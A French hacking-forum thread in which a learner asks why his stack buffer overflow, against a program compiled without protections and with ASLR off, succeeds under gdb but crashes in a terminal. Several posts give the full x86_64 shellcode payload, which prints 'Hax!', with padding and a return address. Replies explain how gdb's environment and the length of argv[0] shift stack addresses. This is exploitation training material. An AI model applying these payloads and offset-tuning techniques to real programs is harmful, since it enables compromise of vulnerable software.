• STATISTIQUES
  • Il y a eu un total de 1 membres et 15869 visiteurs sur le site dans les dernières 24h pour un total de 15 870 personnes!


    Membres: 2 398
    Discussions: 3 580
    Messages: 32 820
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Gekko
    Site de challenge présenter sous la forme d'une quête. Vous êtes un agent secret qui répond sous le nom...
    Challenges
    [EN] phrack
    Lot's of stuff !
    Hacking
    [EN] Security Traps
    Site de challenge qui prétend être construit non pas dans le but de parfaire vos connaissances, mais plutôt dan...
    Challenges
    [EN] Listbrain Version 3
    Site proposant 66 challenges présentés dans une liste mélangée.
    Challenges
    [EN] Sabre Films
    Site de challenge présenté sous la forme d'une quête. Vous êtes un détective et devrez résoudre d...
    Challenges
    [FR] Newbie Contest
    Crackme: 35, Cryptographie: 49, Hacking: 27, Javascript/Java: 17, Logique: 31, Programmation: 23, Stéganographie: 53
    Challenges
    [FR] Hackfest
    Le Hackfest est un évènement de sécurité et de piratage informatique au Québec reg...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
demande de détail sur la sortie de mon buffer overflow
29-03-2016, 16h03 (Modification du message : 29-03-2016, 16h05 par Athar.)
Message : #1
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
demande de détail sur la sortie de mon buffer overflow
Bonjour j'étudie les buffer overflow et création de shellcode sur mon ubuntu 14.04 lts x86_64.
Je comprends les principes de la stack.
Voilà j'ai un tutoriel qu je suis actuellement, mais j'ai deux sortie différentes , l'un sous gdb , l'autre depuis un terminal classique.

Le but étant d'affiche le string du shellcode, " Hax! "

ASLR est à 0
Compilation:gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

Je prend l'habitude de revérifié si la pile est exécutable (-zexecstack) par un
Code :
root@krihna:/home/krihna/buffer# execstack -q oldskool
X oldskool

Sous GDB:
Code :
(gdb) r $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!
Comme on peut le voir ça fonctionne.

Sous un terminal en root, j'obtiens une erreur, que je n'arrive pas à "gérer".

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"'`
Instruction non permise (core dumped)

et Non-root:
Code :
krihna@krihna:~/buffer$ Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting : commande introuvable
Comment vous pouvez le voir, même injection du shellcode.
J'ai aussi essayé de modifié le padding (si c'est bien le bon terme)"A"*27.
Si quelqu'un pouvais me mettre sur une piste.
Merci à vous.
+1 (0) -1 (0) Répondre
29-03-2016, 17h08 (Modification du message : 29-03-2016, 17h12 par Athar.)
Message : #2
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
https://wiki.ubuntu.com/Security/Features

En faite je pense que c'est normal, passe sous gdb, mais pas en mode normalement.
C'est ubuntu qui bloque par sécurité le lancement du prog.

Je veut dire par là, que c'est la méthode d'exploitation(très classique)qui pose problème.
+1 (0) -1 (0) Répondre
29-03-2016, 18h36
Message : #3
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,610
Sujets : 72
Points: 466
Inscription : Jan 2012
RE: demande de détail sur la sortie de mon buffer overflow
Sinon ça peut être les adresses sur la stack faussées par gdb (qui rajoute ses propres variables d'environnement, provoquant un décalage dans les adresses), ou tout bêtement l'ASLR qui est laissé activé Smile
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (1) -1 (0) Répondre
29-03-2016, 19h27
Message : #4
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
Merci pour cette réponse.
ALSR est bien désactivé.
Je penché aussi sur ta premier proposition, je pense que la variable est réutilisé, ce qui fausse la sortie.

J'ai l'idée de passé tout ça sous gdb, et en sortir un petit tutoriel.
+1 (0) -1 (0) Répondre
30-03-2016, 11h35 (Modification du message : 30-03-2016, 11h35 par gruik.)
Message : #5
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: demande de détail sur la sortie de mon buffer overflow
salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (2) -1 (0) Répondre
30-03-2016, 16h20
Message : #6
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
(30-03-2016, 11h35)gruik a écrit : salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage

Merci pour cette information fort utile pour ma part.
Fonctionne sous GDB.
terminal root:
Code :
root@krihna:/home/krihna/buffer# /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!root@krihna:/home/krihna/buffer#

et en non-root, j'ai du modifié le padding à "A" *13
Code :
krihna@krihna:~/buffer$ /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*13 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!krihna@krihna:~/buffer$

Merci encore à toi pour cette astuce.
Je vais essayé de comprendre le pourquoi du comment de tout ça, surtout sur ta méthode.
+1 (0) -1 (0) Répondre


Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut